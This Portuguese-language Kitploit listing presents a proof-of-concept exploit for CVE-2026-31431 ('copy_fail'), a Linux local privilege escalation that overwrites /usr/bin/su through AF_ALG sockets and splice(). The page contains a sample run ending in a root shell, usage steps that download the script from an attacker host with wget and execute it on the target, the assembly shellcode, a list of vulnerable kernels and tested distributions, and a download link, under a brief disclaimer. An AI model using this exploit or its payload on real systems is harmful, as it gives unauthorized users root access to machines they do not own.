Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
copy-fail-CVE-2026-31431-shell — PoC shell exploit para CVE-2026-31431 (copy_fail) — LPE no Linux via AF_ALG + sobrescritura de page-cache com splice. Disparo único, sem condição de corrida, kernel 4.9–6.18. | Kitploit
Ferramentas/GitHubGitHub/g1nt0n1x/copy-fail-cve-2026-31431-shell
Escalada de PrivilégiosFrameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoDesenvolvimento de PayloadsExploração de Binários
GitHubg1nt0n1x/copy-fail-cve-2026-31431-shell

copy-fail-CVE-2026-31431-shell

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PoC shell exploit para CVE-2026-31431 (copy_fail) — LPE no Linux via AF_ALG + sobrescritura de page-cache com splice. Disparo único, sem condição de corrida, kernel 4.9–6.18.

Ver Repositório
320há 5 mesesAinda não revisado

CVE-2026-31431 - shell copy_fail

Escalação local de privilégios via socket AF_ALG + sobrescrita do page-cache com splice().

Sobrescreve um binário SUID somente-leitura (/usr/bin/su) com um ELF mínimo que chama setuid(0) + execve("/bin/sh"). Sem condição de corrida, sem offsets específicos por distribuição, execução única.

$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Kernel 5.15 está na janela vulnerável (4.9 – 6.18) — prosseguindo
[*] Compilando...
[+] Compilado com sucesso — executando

# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)

Vulnerabilidade

O socket AF_ALG (API de criptografia) do kernel Linux, combinado com splice(), permite uma escrita em um arquivo aberto com O_RDONLY manipulando o page cache. O kernel ignora a verificação de permissão de escrita no atalho de copy-on-write dentro do caminho de splice do socket ALG — a mesma classe de bug do Dirty Pipe (CVE-2022-0847), mas acionada por um caminho de código diferente introduzido no kernel 4.9.


Versões afetadas

Faixa de kernelStatus
< 4.9Não afetado (caminho de código vulnerável não presente)
4.9 – 6.18Vulnerável (~9 anos, 2017–2026)
≥ 6.19Corrigido

Testado

DistribuiçãoKernel
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

Requisitos

  • Shell local no alvo (qualquer nível de privilégio)
  • gcc disponível no alvo
  • Acesso de escrita a /tmp
  • Arquitetura x86-64

Uso

# No alvo
wget http://<seu-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh

O script irá:

  1. Verificar se o kernel em execução está na faixa vulnerável
  2. Compilar o exploit C embutido no alvo (sem dependência de zlib)
  3. Sobrescrever /usr/bin/su com o payload de shell root
  4. Executá-lo

Como funciona

Socket AF_ALG (AEAD)
      │
      │  sendmsg() com dados ancilares elaborados (ALG_SET_OP / ALG_SET_IV)
      │
      ▼
  op_fd (socket de operação)
      ▲
      │  splice(): file_fd → pipe → op_fd
      │
/usr/bin/su (O_RDONLY)

O caminho de splice do kernel dentro do socket ALG ignora a verificação de permissão de copy-on-write, escrevendo diretamente no page cache do arquivo alvo apesar de ele estar aberto somente-leitura. O payload (um ELF de 160 bytes) é escrito 4 bytes por vez em 40 iterações.

Shellcode do payload:

xor  eax, eax
xor  edi, edi            ; uid = 0
mov  al,  105            ; SYS_setuid
syscall                  ; setuid(0)
lea  rdi, [rip+0xf]      ; -> "/bin/sh"
xor  esi, esi            ; argv = NULL
push 59  /  pop rax      ; SYS_execve
cdq                      ; envp = NULL
syscall                  ; execve("/bin/sh", NULL, NULL)

Arquivos

ArquivoDescrição
copy_fail_exp.shScript Bash — compila e executa no alvo, sem necessidade de Python
copy_fail_exp.pyVersão original em Python para referência
copy_fail_exp_deobfuscated.pyVersão em Python desofuscada e anotada

Aviso legal

Apenas para testes de segurança autorizados e ambientes de CTF/laboratório. Não use contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar.

Baixar ferramenta